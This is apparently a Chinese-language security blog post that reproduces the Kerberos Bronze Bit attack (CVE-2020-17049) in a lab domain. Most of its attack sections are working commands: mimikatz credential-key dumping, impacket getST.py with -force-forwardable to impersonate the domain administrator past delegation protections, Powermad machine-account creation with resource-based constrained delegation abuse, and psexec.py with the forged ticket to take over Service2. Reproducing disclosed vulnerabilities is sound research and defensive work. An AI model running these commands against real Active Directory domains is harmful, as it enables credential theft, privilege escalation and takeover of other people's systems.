Kerberos Bronze Bit Attack又称Kerberos青铜比特攻击，由国外netspi安全研究员Jake Karnes发现的漏洞，并且申请了CVE-2020-17049编号。

# 概述

该漏洞解决了两个问题

1. 禁止协议转换/协议过渡
2. 受保护的用户和敏感用户不能被委派

具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议”

spn服务账户sql设置为“敏感用户不能被委派”或者添加到“受保护的组”中（两者任选其一）

利用场景：

1. 传统的约束委派
2. 基于资源的约束委派（滥用域账户的MachineAccountQuota属性）

下面进行复现

# 传统的约束委派绕过

模拟场景

1. 已经爆破了一个用户[email protected] 密码为test123!@#
2. 拿到Service1的hash
3. Service1对Service2有信任的约束关系
4. 攻击者充当Service1向Service2申请票据从而ptt到Service2

首先尝试常规的约束委派利用（参考我之前的文章）

报错，说明这是“敏感用户不能被委派”和“受保护的组”的原因。

然后尝试Kerberos Bronze Bit Attack

首先需要Service1的hash和aeskey（这里可以通过提权获取Service1的hash，我这里使用Service1的本地管理员账号抓取）

1
2
3

runas /user:Service1\administrator mimikatz
privilege::debug
sekurlsa::ekeys

然后使用最新版的impacket请求票据

1

python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:aa09cecb1728cd5cad6e779c7f370563 -aesKey 71f9caf9203575bbbe760e6a669d90cbe39be0b5a442496295e2f63990ee858f test.local/Service1 -force-forwardable

这样绕过了“敏感用户不能被委派”和“受保护的组”利用约束委派拿下来了Service2。

# 基于资源的约束委派绕过

先配置环境，首先删除上一步service1的委派权限

用adsi编辑器赋予域用户jack对service2写入权限

开始利用，首先需要通过powermad新加入一个计算机账户AttackerService，密码为AttackerServicePassword，用域账户jack登录service1

1
2

Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

因为密码是我们自定义的，所以可以用mimikatz计算出hash

然后使用PowerShell Active Directory模块添加基于资源的约束委派，即从AttackerService到Service2的传入信任关系。

Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成，默认只在域控上有，可以从域控上导出。

1
2
3
4

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

设置好基于资源的约束委派之后就可以模拟用户申请票据了。

1

python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable

hashes和aesKey参数来自于添加的机器用户AttackerService，mimikatz可以计算。

1
2

export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k Service2.test.local

# 总结

Kerberos Bronze Bit Attack可以绕过“敏感用户不能被委派”和“受保护的组”进一步利用约束委派，扩大了Kerberos的攻击面。

# 参考

1. https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。